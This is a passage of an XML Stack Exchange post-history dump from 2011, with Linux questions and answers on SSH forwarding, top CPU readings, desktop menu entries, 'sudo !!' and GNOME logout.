0&#xD;&#xA;    10&#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29736" PostHistoryTypeId="25" PostId="12164" RevisionGUID="55528ea9-adf5-4c38-afd4-ea145461c6bb" CreationDate="2011-04-28T06:09:17.710" Comment="http://twitter.com/#!/StackUnix/status/63484914049363968" />
  <row Id="29737" PostHistoryTypeId="5" PostId="12104" RevisionGUID="3e59ec59-2471-4e12-957e-497680f18acc" CreationDate="2011-04-28T06:19:45.113" UserId="252" Comment="deleted 21 characters in body" Text="You could also do it differently though by using port forwards.&#xD;&#xA;&#xD;&#xA;    hostA&gt; ssh hostB -L 8022:hostC:22&#xD;&#xA;    hostA&gt; ssh localhost -p 8022" />
  <row Id="29738" PostHistoryTypeId="2" PostId="12167" RevisionGUID="eb05f7f8-a03a-4941-9561-22daadce6bf6" CreationDate="2011-04-28T06:44:46.067" UserId="5861" Text="top command shows the process cpu utilization, and it when we sum the cpu utilization of all the processes then it goes greater than 100%. And how can it shows the cpu utilization of each process( app. &gt; 300 process) in very short span of time. There is a question [about cpu usage by a process][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1420426/calculating-cpu-usage-of-a-process-in-linux&#xD;&#xA;that tells us to sleep for 1 second. And according to that solution Cpu usage by a process is different from top command output. so please tell me about right solution. My computer has the configuration Intel core2duo and ubuntu 10.10." />
  <row Id="29739" PostHistoryTypeId="1" PostId="12167" RevisionGUID="eb05f7f8-a03a-4941-9561-22daadce6bf6" CreationDate="2011-04-28T06:44:46.067" UserId="5861" Text="Queries about top command" />
  <row Id="29740" PostHistoryTypeId="3" PostId="12167" RevisionGUID="eb05f7f8-a03a-4941-9561-22daadce6bf6" CreationDate="2011-04-28T06:44:46.067" UserId="5861" Text="élinuxàéprocessàécpuàétopà" />
  <row Id="29742" PostHistoryTypeId="2" PostId="12168" RevisionGUID="9c47af2d-f63f-4a68-a3aa-8e81ec818e07" CreationDate="2011-04-28T07:10:58.690" UserId="7024" Text="How about sourcing the `/etc/profile` on `ssh` command?&#xD;&#xA;&#xD;&#xA;    ssh user@host &quot;source /etc/profile; sh runme.sh&quot;&#xD;&#xA;&#xD;&#xA;Adopted from an answer on [this question](http://stackoverflow.com/questions/216202/why-does-an-ssh-remote-command-get-fewer-environment-variables-then-when-run-manu)" />
  <row Id="29743" PostHistoryTypeId="2" PostId="12169" RevisionGUID="97d51e3c-d6ca-46a6-98fd-3aa23dd74a42" CreationDate="2011-04-28T07:25:23.543" UserId="3459" Text="    # If not running interactively, don't do anything&#xD;&#xA;    [ -z &quot;$PS1&quot; ] &amp;&amp; return&#xD;&#xA;&#xD;&#xA;Typically `~/.bashrc` will start with some form of the previous code. When you execute a command directly with ssh, bash will not be running interactively so you need to make sure that the environment variables you want to set are before any such line." />
  <row Id="29744" PostHistoryTypeId="2" PostId="12170" RevisionGUID="9e170120-1677-4848-914d-86bf18385ed6" CreationDate="2011-04-28T07:56:25.653" UserId="7025" Text="How can I create a menu item that points to a URL?&#xD;&#xA;&#xD;&#xA;I've tried creating a `mylink.desktop` entry like this:&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Encoding=UTF-8&#xD;&#xA;    Name=My Link Name&#xD;&#xA;    Icon=my-icon&#xD;&#xA;    Type=Link&#xD;&#xA;    Categories=Office;&#xD;&#xA;    URL=http://www.example.com/&#xD;&#xA;&#xD;&#xA;then using `xdg-desktop-menu install mylink.desktop` should put this entry in the current user's menu. This does not work however. The file is copied into `~/.local/share/applications/` but the entry doesn't show up in the menu.&#xD;&#xA;&#xD;&#xA;If I change `Type` to `Application` and define `Exec` instead of `URL` then it works. But I don't want to have menu entry for a local application. I want a default browser to launch on a specified address when the menu entry is selected.&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;&#xD;&#xA;Also, by using this command: `xdg-desktop-icon install mylink.desktop` the result is as expected - a new link is created on the desktop. So why doesn't it work in the menu?&#xD;&#xA;&#xD;&#xA;I tested this on RedHat 6 with KDE, but I would like to know how to do it in Gnome as well." />
  <row Id="29745" PostHistoryTypeId="1" PostId="12170" RevisionGUID="9e170120-1677-4848-914d-86bf18385ed6" CreationDate="2011-04-28T07:56:25.653" UserId="7025" Text="Create url link in menu" />
  <row Id="29746" PostHistoryTypeId="3" PostId="12170" RevisionGUID="9e170120-1677-4848-914d-86bf18385ed6" CreationDate="2011-04-28T07:56:25.653" UserId="7025" Text="élinuxàégnomeàékdeàérhelàémenuà" />
  <row Id="29747" PostHistoryTypeId="5" PostId="11959" RevisionGUID="9d273ace-23b8-4c79-9f01-dc82894ed162" CreationDate="2011-04-28T08:13:54.293" UserId="4415" Comment="changed $* into $@ following recomendation from comment below. Both will work in the context of the at command, but $@ is probably better standard practice." Text="I use a short script I keep in my path, called *after*, containing&#xD;&#xA;&#xD;&#xA;    at now + $@&#xD;&#xA;&#xD;&#xA;This way it's very easy to, for example, type:&#xD;&#xA;&#xD;&#xA;    after 15 min&#xD;&#xA;&#xD;&#xA;then any commands and Ctrl-D, or&#xD;&#xA;&#xD;&#xA;    echo COMMANDS | after 15 min&#xD;&#xA;&#xD;&#xA;which does the same." />
  <row Id="29748" PostHistoryTypeId="2" PostId="12171" RevisionGUID="d37a0192-49a3-4ef5-8c6f-401ecd6690e7" CreationDate="2011-04-28T08:39:03.123" UserId="4843" Text="AFAIK, you need to create a Link.directory file in /usr/share/deskop-directory. And merge this directory into the proper menus [ by editing the /etc/xdg/applications.menu, I guess. Please check the exact menu file ]&#xD;&#xA;" />
  <row Id="29749" PostHistoryTypeId="25" PostId="12162" RevisionGUID="f20a9740-60de-454a-bd5b-f2a11ef8c25b" CreationDate="2011-04-28T09:09:17.453" Comment="http://twitter.com/#!/StackUnix/status/63530212050223104" />
  <row Id="29751" PostHistoryTypeId="2" PostId="12172" RevisionGUID="26829cb6-eeee-4cb8-8d1c-ab163f73cb18" CreationDate="2011-04-28T09:33:13.697" UserId="4843" Text="I tried your said &quot;gnome-open&quot; command from command-line, And It opens the underlying file in an associated application. &#xD;&#xA;&#xD;&#xA;e.g. I execute the command &quot;gnome-open /etc/X11/xorg.conf&quot;, it opens in gedit.&#xD;&#xA;&#xD;&#xA;And the from command-line, I again the execute the command, &quot;gnome-open /etc/passwd&quot;. Now this file is also get opened in the same instance of gedit.&#xD;&#xA;&#xD;&#xA;So I guess, this is what you are looking for.&#xD;&#xA;&#xD;&#xA;You have to use &quot;gnome-open&quot; command only." />
  <row Id="29752" PostHistoryTypeId="5" PostId="12170" RevisionGUID="8444f9ba-f2db-4853-a0a4-402840a9c3f0" CreationDate="2011-04-28T10:35:36.283" UserId="7025" Comment="added 17 characters in body" Text="How can I create a menu item that points to a URL?&#xD;&#xA;&#xD;&#xA;I've tried creating a `mylink.desktop` entry like this:&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Encoding=UTF-8&#xD;&#xA;    Name=My Link Name&#xD;&#xA;    Icon=my-icon&#xD;&#xA;    Type=Link&#xD;&#xA;    Categories=Office;&#xD;&#xA;    URL=http://www.example.com/&#xD;&#xA;&#xD;&#xA;then using `xdg-desktop-menu install mylink.desktop` should put this entry in the current user's menu. This does not work however. The file is copied into `~/.local/share/applications/` but the entry doesn't show up in the menu.&#xD;&#xA;&#xD;&#xA;If I change `Type` to `Application` and define `Exec` instead of `URL` then it works. But I don't want to have menu entry for a local application. I want a default browser to launch on a specified address when the menu entry is selected.&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;&#xD;&#xA;Also, by using this command: `xdg-desktop-icon install mylink.desktop` the result is as expected - a new link is created on the desktop. So why doesn't it work in the menu?&#xD;&#xA;&#xD;&#xA;I tested this on RedHat Enterprise Linux 6 with KDE, but I would like to know how to do it in Gnome as well." />
  <row Id="29753" PostHistoryTypeId="2" PostId="12173" RevisionGUID="187299fd-94c9-4731-a05b-c4befc8adb6f" CreationDate="2011-04-28T10:53:43.677" UserId="6167" Text="This answer is in addition to what Caleb wrote.  You should be careful enabling SSH Agent forwarding to untrusted hosts.  What I do is list specific hosts in my `~/.ssh/config` file as such:&#xD;&#xA;&#xD;&#xA;    ForwardX11 yes&#xD;&#xA;&#xD;&#xA;    Host trusted-server&#xD;&#xA;    ForwardAgent yes&#xD;&#xA;    Compression yes&#xD;&#xA;&#xD;&#xA;    Host trusted-desktop&#xD;&#xA;    ForwardAgent yes&#xD;&#xA;    ForwardX11Trusted yes&#xD;&#xA;&#xD;&#xA;This enables X11 forwarding for everyone, but OpenSSH filters out SECURITY commands.  Compression is enabled to the server, Trusted X11 (without filtering) is enabled to the desktop and SSH Agent is enabled when connecting to either." />
  <row Id="29754" PostHistoryTypeId="5" PostId="12173" RevisionGUID="4b746ea8-d4c2-4f5b-a142-24faadad1239" CreationDate="2011-04-28T11:00:23.217" UserId="1925" Comment="Linked other answer and indented for readability" Text="This answer is in addition to [what Caleb wrote][1].  You should be careful enabling SSH Agent forwarding to untrusted hosts.  What I do is list specific hosts in my `~/.ssh/config` file as such:&#xD;&#xA;&#xD;&#xA;    ForwardX11 yes&#xD;&#xA;&#xD;&#xA;    Host trusted-server&#xD;&#xA;        ForwardAgent yes&#xD;&#xA;        Compression yes&#xD;&#xA;&#xD;&#xA;    Host trusted-desktop&#xD;&#xA;        ForwardAgent yes&#xD;&#xA;        ForwardX11Trusted yes&#xD;&#xA;&#xD;&#xA;This enables X11 forwarding for everyone, but OpenSSH filters out SECURITY commands.  Compression is enabled to the server, Trusted X11 (without filtering) is enabled to the desktop and SSH Agent is enabled when connecting to either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12101/pass-my-credentials-from-a-ssh-session-to-another-ssh-session/12105#12105" />
  <row Id="29755" PostHistoryTypeId="5" PostId="12105" RevisionGUID="63b614c2-29b2-4c2c-9739-733b0fd931e9" CreationDate="2011-04-28T11:01:31.623" UserId="1925" Comment="added 141 characters in body" Text="Yes.&#xD;&#xA;&#xD;&#xA;What you are looking for is known as [ssh-agent forwarding][1]. Once you learn to use `ssh-agent` to load up your unlocked keys and make them available to the `ssh-client`, it is possible for the clients to pass this data down the chain of connections so that future ssh clients can talk to the original agent.&#xD;&#xA;&#xD;&#xA;Among other things, you will need to setup `ForwardAgent yes` in your [ssh configs][2] for the various machines that should be allowed these privaleges. You should be aware that this introduces several new layers of security issues. You are playing with fire. Don't say we didn't warn you!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/12101/pass-my-credentials-from-a-ssh-session-to-another-ssh-session/12173#12173" />
  <row Id="29756" PostHistoryTypeId="2" PostId="12174" RevisionGUID="a299e878-685f-431e-bc99-566f57c3830d" CreationDate="2011-04-28T11:03:33.240" UserId="7030" Text="[Mandos][1] solves this very problem:&#xD;&#xA;&#xD;&#xA;&gt; Mandos is a system for allowing servers with encrypted root file systems to reboot unattended and/or remotely. See [the latest README][2] file for more information, including an FAQ list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fukt.bsnet.se/mandos&#xD;&#xA;  [2]: http://bzr.fukt.bsnet.se/loggerhead/mandos/trunk/annotate/head:/README" />
  <row Id="29757" PostHistoryTypeId="2" PostId="12175" RevisionGUID="7aaf5042-ab8a-4742-9cf1-d8f1adf07c17" CreationDate="2011-04-28T11:08:49.413" UserId="7030" Text="If you want to be able to boot *unattended* as well as remotely, you should also look at [Mandos][1]:&#xD;&#xA;&#xD;&#xA;&gt; Mandos is a system for allowing servers with encrypted root file systems to reboot unattended and/or remotely. See [the latest README][2] file for more information, including an FAQ list.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fukt.bsnet.se/mandos&#xD;&#xA;  [2]: http://bzr.fukt.bsnet.se/loggerhead/mandos/trunk/annotate/head:/README&#xD;&#xA;" />
  <row Id="29758" PostHistoryTypeId="2" PostId="12176" RevisionGUID="eb60c77c-7956-430a-9d5b-47b13d9ee8bb" CreationDate="2011-04-28T11:11:44.130" UserId="6997" Text="Sorry if this is a yes/no question.. &#xD;&#xA;I am reading [this unix tutorial][1] and found the following:&#xD;&#xA;&#xD;&#xA;&gt; Repeating and Modifying the Previous&#xD;&#xA;&gt; Command&#xD;&#xA;&gt; &#xD;&#xA;&gt; [..]  &#xD;&#xA;&gt; If you mistype leavenworth as&#xD;&#xA;&gt; leaveworth you can correct it with the&#xD;&#xA;&gt; following command: % ^leave^leaven&#xD;&#xA;&#xD;&#xA;Unfortunately I don't have a computer to try this on, but I was wondering:&#xD;&#xA;&#xD;&#xA;Since some commands require `sudo` to run, could I then write `^^sudo` to &quot;insert&quot; sudo to the previous command?&#xD;&#xA;&#xD;&#xA;  [1]: http://www2.ocean.washington.edu/unix.tutorial.html" />
  <row Id="29759" PostHistoryTypeId="1" PostId="12176" RevisionGUID="eb60c77c-7956-430a-9d5b-47b13d9ee8bb" CreationDate="2011-04-28T11:11:44.130" UserId="6997" Text="Can I insert sudo via the ^ command?" />
  <row Id="29760" PostHistoryTypeId="3" PostId="12176" RevisionGUID="eb60c77c-7956-430a-9d5b-47b13d9ee8bb" CreationDate="2011-04-28T11:11:44.130" UserId="6997" Text="éterminalàésudoàécommandöhistoryà" />
  <row Id="29761" PostHistoryTypeId="2" PostId="12177" RevisionGUID="0308756e-a1a9-45bc-b444-05f2d4bc1490" CreationDate="2011-04-27T20:15:09.660" UserDisplayName="ssD" Text="Hi ,&#xD;&#xA;&#xD;&#xA;I have just bought dell inspiron 1510 and loaded fedora 12 along with windows. I cannot detect any wireless networks through my network applet on tool bar. &#xD;&#xA;&#xD;&#xA;Output of $:lscpi&#xD;&#xA;&#xD;&#xA;.................&#xD;&#xA;12:00.0 Network controller: Broadcom Corporation Device 4727 (rev 01)&#xD;&#xA;&#xD;&#xA;13:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8101E/RTL8102E PCI Express&#xD;&#xA;&#xD;&#xA; Fast Ethernet controller (rev 02)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I installed following rpms &#xD;&#xA;kmod-wl-2.6.31.5-127.fc12.i686.PAE-5.10.91.9.3-3.fc12.6.i686&#xD;&#xA;kmod-wl-PAE-5.10.91.9.3-3.fc12.6.i686&#xD;&#xA;broadcom-wl-5.10.91.9.3-1.fc12.noarch&#xD;&#xA;&#xD;&#xA;restarted the system but it still doesn't work.&#xD;&#xA;&#xD;&#xA;Can someone help &#xD;&#xA;&#xD;&#xA; " />
  <row Id="29762" PostHistoryTypeId="1" PostId="12177" RevisionGUID="0308756e-a1a9-45bc-b444-05f2d4bc1490" CreationDate="2011-04-27T20:15:09.660" UserDisplayName="ssD" Text="Fedora 12 No wireless networks detected" />
  <row Id="29763" PostHistoryTypeId="3" PostId="12177" RevisionGUID="0308756e-a1a9-45bc-b444-05f2d4bc1490" CreationDate="2011-04-27T20:15:09.660" UserDisplayName="ssD" Text="éfedoraàéwirelessàérpmàébroadcomà" />
  <row Id="29764" PostHistoryTypeId="17" PostId="12177" RevisionGUID="341c27b7-4c0f-4e63-99e9-48d03c0b6bd2" CreationDate="2011-04-28T11:14:01.353" UserId="-1" Comment="from http://stackoverflow.com/questions/5809990/fedora-12-no-wireless-networks-detected" Text="" />
  <row Id="29765" PostHistoryTypeId="2" PostId="12178" RevisionGUID="e8308c9c-e1e7-4918-9b33-26387fb03d79" CreationDate="2011-04-28T11:14:08.463" UserId="7025" Text="While reading up on stuff I stumbled uppon [this question][1]. That gave me an idea for a workaround:&#xD;&#xA;&#xD;&#xA;    [Desktop Entry]&#xD;&#xA;    Encoding=UTF-8&#xD;&#xA;    Name=My Link Name&#xD;&#xA;    Icon=my-icon&#xD;&#xA;    Type=Application&#xD;&#xA;    Categories=Office;&#xD;&#xA;    Exec=xdg-open http://www.example.com/&#xD;&#xA;&#xD;&#xA;This does exactly what I need and is a local application, so I can use `xdg-desktop-menu` to install this entry without problems.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/11880/send-file-to-opened-editor-using-command-line&#xD;&#xA;" />
  <row Id="29766" PostHistoryTypeId="2" PostId="12179" RevisionGUID="30a90a2c-bb03-4f05-8879-0797c007defe" CreationDate="2011-04-28T11:21:24.267" UserId="3169" Text="Doesn't work for me in bash:&#xD;&#xA;&#xD;&#xA;    $ whoami&#xD;&#xA;    mikel&#xD;&#xA;    $ ^^sudo&#xD;&#xA;    -bash: :s^^sudo: no previous substitution&#xD;&#xA;&#xD;&#xA;or zsh:&#xD;&#xA;&#xD;&#xA;    $ ^^sudo&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;or even tcsh, which I think invented that syntax:&#xD;&#xA;&#xD;&#xA;    % ^^sudo&#xD;&#xA;    No previous left hand side.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`!!` does the job:&#xD;&#xA;&#xD;&#xA;    $ whoami&#xD;&#xA;    mikel&#xD;&#xA;    $ sudo !!&#xD;&#xA;    sudo whoami&#xD;&#xA;    root&#xD;&#xA;    " />
  <row Id="29767" PostHistoryTypeId="5" PostId="12072" RevisionGUID="e122161f-ebf1-4e0a-9799-35f003f68e81" CreationDate="2011-04-28T11:21:29.130" UserId="2320" Comment="added 291 characters in body" Text="I'm wondering is there any command line tool, that returns current keyboard layout.&#xD;&#xA;&#xD;&#xA;I have XkbLayout set to &quot;us, ru&quot;.&#xD;&#xA;&#xD;&#xA;**UPD:** `setxkbmap` returns layout settings, not selected layout. E.g.:&#xD;&#xA;&#xD;&#xA;    $ setxkbmap -print | grep xkb_symbols&#xD;&#xA;    xkb_symbols   { include &quot;pc+us+ru:2+inet(evdev)+capslock(grouplock)+terminate(ctrl_alt_bksp)&quot;	};&#xD;&#xA;&#xD;&#xA;It will return same result no matter what current layout is.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29768" PostHistoryTypeId="5" PostId="2120" RevisionGUID="20e67420-25a4-4a1e-8d55-1e9c38d351e6" CreationDate="2011-04-28T11:22:18.800" UserId="382" Comment="fixed typo" Text="If you add `stty -ixon` to your `~/.bashrc` file then &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;s&lt;/kbd&gt; will go in the opposite direction to &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;r&lt;/kbd&gt;." />
  <row Id="29769" PostHistoryTypeId="2" PostId="12180" RevisionGUID="16582d48-ed74-4958-9fab-842f3259f745" CreationDate="2011-04-28T11:22:33.840" UserId="4991" Text="There's a way to change it but it doesn't completely answer your question.  &#xD;&#xA;You can edit `/usr/share/gnome-screensaver/lock-dialog-default.ui` in your favorite text editor (be sure to make a backup first!).  Scroll down and find&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;object class=&quot;GtkEntry&quot; id=&quot;auth-prompt-entry&quot;&gt;&#xD;&#xA;            &lt;property name=&quot;can_focus&quot;&gt;True&lt;/property&gt;&#xD;&#xA;            &lt;property name=&quot;editable&quot;&gt;True&lt;/property&gt;&#xD;&#xA;            &lt;property name=&quot;visibility&quot;&gt;False&lt;/property&gt;&#xD;&#xA;            &lt;property name=&quot;max_length&quot;&gt;0&lt;/property&gt;&#xD;&#xA;            &lt;property name=&quot;text&quot; translatable=&quot;yes&quot;/&gt;&#xD;&#xA;            &lt;property name=&quot;has_frame&quot;&gt;True&lt;/property&gt;&#xD;&#xA;            &lt;property name=&quot;activates_default&quot;&gt;True&lt;/property&gt;&#xD;&#xA;    &lt;/object&gt;&#xD;&#xA;&#xD;&#xA;`&quot;visibility&quot; = False` causes the password text effect.  You can add a [new property](http://www.pygtk.org/docs/pygtk/class-gtkwidget.html#properties-gtkwidget) right below visibility to change the character  (replacing the dot). &#xD;&#xA; &#xD;&#xA;    &lt;property name=&quot;invisible-char&quot;&gt; &lt;/property&gt;&#xD;&#xA;&#xD;&#xA;I tried this on Debian 6 but it should work on any Gnome system.  Unfortunately, it needs to show some kind of placeholder so it won't work like a terminal password prompt and show nothing.  The closest I got was using a blank space.  But you could experiment to see what does work." />
  <row Id="29770" PostHistoryTypeId="2" PostId="12181" RevisionGUID="1b338bf1-e66d-4c6a-8100-4e8f64bf3b3c" CreationDate="2011-04-28T11:22:51.953" UserId="4843" Text="YES.&#xD;&#xA;You can do that.&#xD;&#xA;e.g. &#xD;&#xA;to run the &quot;ls&quot; command in /root directory,&#xD;&#xA;you can do that as&#xD;&#xA;&#xD;&#xA;&gt; 1. ls&#xD;&#xA;2. ^ ^sudo &#xD;&#xA;   This command will get executed as &quot;sudo ls&quot;&#xD;&#xA;&#xD;&#xA;Mind it to add one &quot;space&quot; after sudo, in second line." />
  <row Id="29771" PostHistoryTypeId="5" PostId="10785" RevisionGUID="8ff62882-c601-4554-a278-3f1f9dde82ed" CreationDate="2011-04-28T11:26:25.013" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Arch Linux not booting after system update](http://unix.stackexchange.com/questions/10617/arch-linux-not-booting-after-system-update)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;After running a system update, in which the kernel was updated, when i try to boot arch (In single User, not quiet), I get the message bin/sh cant access tty and i get dropped at a prompt, but i can't type. I am dual-booting with OS X, if that makes a difference. " />
  <row Id="29772" PostHistoryTypeId="10" PostId="10785" RevisionGUID="b3411f0b-c598-41d1-84ed-a6b82ddce284" CreationDate="2011-04-28T11:26:24.530" UserId="29" CloseReasonId="1" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="29773" PostHistoryTypeId="2" PostId="12182" RevisionGUID="01de7420-40c1-4bb6-8dcd-a2e1efa1892c" CreationDate="2011-04-28T11:36:31.093" UserId="4843" Text="How to get logout from Gnome session via command line ? Also Is there any way in GNOME to do &quot;switch user&quot; from command line ?" />
  <row Id="29774" PostHistoryTypeId="1" PostId="12182" RevisionGUID="01de7420-40c1-4bb6-8dcd-a2e1efa1892c" CreationDate="2011-04-28T11:36:31.093" UserId="4843" Text="Gnome Logout from command" />
  <row Id="29775" PostHistoryTypeId="3" PostId="12182" RevisionGUID="01de7420-40c1-4bb6-8dcd-a2e1efa1892c" CreationDate="2011-04-28T11:36:31.093" UserId="4843" Text="élinuxàécommandölineàégnomeà" />
  <row Id="29776" PostHistoryTypeId="2" PostId="12183" RevisionGUID="ed04249a-6d97-4970-8df2-357299181cb0" CreationDate="2011-04-28T11:41:37.487" UserId="1925" Text="Depending on your distro's configuration, you can usually switch user just by jumping back to the console that GDM is running on or to the console the other user is active on using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F*&lt;/kbd&gt; combinations, (try F6, F7, etc until you find it).&#xD;&#xA;&#xD;&#xA;To logout, I would think all you need to do is send a kill signal to the gnome-session process and it would jump right on that for you :) Send it a nice signal first to give it a change to do it's shutdown thing." />
  <row Id="29777" PostHistoryTypeId="5" PostId="12181" RevisionGUID="a13310a4-adec-4c7b-8b87-533b79118789" CreationDate="2011-04-28T11:46:20.963" UserId="1925" Comment="Edited for formatting and clarity" Text="YES. You can do that. e.g. to run the `ls` command in /root directory,&#xD;&#xA;you can do that as:&#xD;&#xA;&#xD;&#xA;    $ ls&#xD;&#xA;    $ ^ ^sudo &#xD;&#xA;&#xD;&#xA;The second command will execute as &quot;sudo ls&quot;&#xD;&#xA;&#xD;&#xA;Mind to it that you add one &quot;space&quot; after sudo, in second line." />
  <row Id="29778" PostHistoryTypeId="2" PostId="12184" RevisionGUID="0090130e-b0f1-4426-ac13-42d19132a5a5" CreationDate="2011-04-28T11:49:21.990" UserId="1925" Text="I think using history completion is a much more universal way to do this&#xD;&#xA;&#xD;&#xA;    $ sudo !!&#xD;&#xA;&#xD;&#xA;Most shells have some shortcut for the previous command. That one works in bash and zsh. There are various ways you can do substitution, but usually these are best left for removing or changing bits, if you want to expand it, just grabbing the whole thing is the simplest way. You can add whatever you like before and after the !! to expand on the previous command." />
  <row Id="29779" PostHistoryTypeId="25" PostId="12176" RevisionGUID="c770c024-c038-42fb-b951-a2a19c617fcb" CreationDate="2011-04-28T12:09:18.073" Comment="http://twitter.com/#!/StackUnix/status/63575513616224256" />
  <row Id="29780" PostHistoryTypeId="5" PostId="12184" RevisionGUID="e2c4e47e-4f6d-4dd7-b8d4-4c1a4863090f" CreationDate="2011-04-28T12:12:00.607" UserId="1925" Comment="added 335 characters in body; edited body" Text="I think using history completion is a much more universal way to do this&#xD;&#xA;&#xD;&#xA;    $ sudo !!&#xD;&#xA;&#xD;&#xA;Most shells have some shortcut for the previous command. That one works in bash and zsh. There are various ways you can do substitution, but usually these are best left for removing or changing bits, if you want to expand it, just grabbing the whole thing is the simplest way. You can add whatever you like before and after the !! to expand on the previous command.&#xD;&#xA;&#xD;&#xA;**Edit:** The original question was about *prepending* to the previous command which the above covers nicely. If you want to *change* something inside it as the commentor below the syntax would go like this:&#xD;&#xA;&#xD;&#xA;    $ sudo !!:s/search/replace/&#xD;&#xA;&#xD;&#xA;...where 'search' is the string to match against and replace...well you get the idea." />
  <row Id="29781" PostHistoryTypeId="2" PostId="12185" RevisionGUID="b61c6584-f68c-48e5-b06d-c5cde55703b0" CreationDate="2011-04-28T12:15:03.263" UserId="2594" Text="Top has two modes for computing the CPU load, one called Solaris mode, is counting the effective CPU load so with a two core CPU, the maximum load will be 200%. The other one is called Irix mode. It is showing the load divided by the number of CPUs, so the maximum shouldn't excess 100%. You toggle from one mode to the other with the &quot;I&quot; key." />
  <row Id="29782" PostHistoryTypeId="2" PostId="12186" RevisionGUID="6f3c8489-6d46-47d3-85b9-f1f43fadb50a" CreationDate="2011-04-28T12:15:35.617" UserId="6973" Text="One major shortcoming of `curl` is that more and more wepages are having their main piece of content painted by a JavaScript AJAX response that occurs after the initial HTTP response. `curl` never picks up on this post-painted content. &#xD;&#xA;&#xD;&#xA;So to fetch these types of webpages from the command line, I've been reduced to writing scripts in Ruby that drive the SeleniumRC to fire up a Firefox instance and then return the source HTML after these AJAX calls have completed.&#xD;&#xA;&#xD;&#xA;It would be much better to have a leaner command line solution for this type of problem.  Does anyone know of any?    " />
  <row Id="29783" PostHistoryTypeId="1" PostId="12186" RevisionGUID="6f3c8489-6d46-47d3-85b9-f1f43fadb50a" CreationDate="2011-04-28T12:15:35.617" UserId="6973" Text="Are there any good tools besides SeleniumRC that can fetch webpages including content post-painted by JavaScript?" />
  <row Id="29784" PostHistoryTypeId="3" PostId="12186" RevisionGUID="6f3c8489-6d46-47d3-85b9-f1f43fadb50a" CreationDate="2011-04-28T12:15:35.617" UserId="6973" Text="éwgetàéhttpàéhtmlàécurlàéseleniumà" />
  <row Id="29785" PostHistoryTypeId="2" PostId="12187" RevisionGUID="242cbec8-9674-42fc-b7c4-f648d43f50ee" CreationDate="2011-04-28T12:42:55.267" UserId="7035" Text="Sorry for no answer I do put here but posting an example:&#xD;&#xA;I supervise a home server (debian) with a system disk and mirrored data disks. All the disks are changed through the years but the ext3 on the data mirror was created six years back and remains the same because of changing the only one bad disk at once. &#xD;&#xA;After the system disk crashed again, I moved to new stable lenny, and surprised while mounted the data mirror, because the new system is build on utf-8, while the data was written in ISO-8859-2. As the afpd is used to export the filesystem on local net, some filename contains the china spread tea flake. &#xD;&#xA;A god reason to add some NLS= option into the ext2/3 filesystem.&#xD;&#xA;&#xD;&#xA;Jan" />
  <row Id="29786" PostHistoryTypeId="2" PostId="12188" RevisionGUID="065e8a33-511f-421f-8cb7-3e85a2d51ed9" CreationDate="2011-04-28T12:44:14.443" UserId="2490" Text="I am not sure If I can ask this question here,&#xD;&#xA;My problem is many time I find Gnome file copy gui tool irritating when it stops working.&#xD;&#xA;It happens &#xD;&#xA;&#xD;&#xA;--&gt;when I cancel the copy or move&#xD;&#xA;&#xD;&#xA;--&gt;when I try to copy to blue tooth exchange folder to my friends laptop(when he forgets to permit the operation or if the file is big)&#xD;&#xA;&#xD;&#xA;--&gt;some other times, it just hangs while copying&#xD;&#xA;&#xD;&#xA;So I obviously  gets irritated with and wants to quit the operation immediately.. But unfortunately whenever I  try to cancel it never works.&#xD;&#xA;This happened to me several times&#xD;&#xA;So I try to find the process &#xD;&#xA;`ps aux| grep copy or cp` or something like that but I m never successful&#xD;&#xA;Ma be it has become a zombie process I guess&#xD;&#xA;I just want to quit the operation I am so irritated when it hangs..&#xD;&#xA;Please help me out" />
  <row Id="29787" PostHistoryTypeId="1" PostId="12188" RevisionGUID="065e8a33-511f-421f-8cb7-3e85a2d51ed9" CreationDate="2011-04-28T12:44:14.443" UserId="2490" Text="Problem when Gnome file copy gui tool hangs and how to quit it" />
  <row Id="29788" PostHistoryTypeId="3" PostId="12188" RevisionGUID="065e8a33-511f-421f-8cb7-3e85a2d51ed9" CreationDate="2011-04-28T12:44:14.443" UserId="2490" Text="égnomeàécopyöpasteàécpàéfileöcopyàépsà" />
  <row Id="29789" PostHistoryTypeId="2" PostId="12189" RevisionGUID="a04831d5-dbc4-49e6-b6f3-ba806a0bf678" CreationDate="2011-04-28T13:16:57.380" UserId="4843" Text="Ah !&#xD;&#xA; &#xD;&#xA;I got the answer for my own Question.&#xD;&#xA;&#xD;&#xA;I have the command to logout from GNOME session as:&#xD;&#xA;&#xD;&#xA;&gt;gnome-session-save --kill --silent&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And, for user-switching, It looks like that I need to use &#xD;&#xA;&gt;fusa&#xD;&#xA;&#xD;&#xA;[ still figuring out the exact command-line ]" />
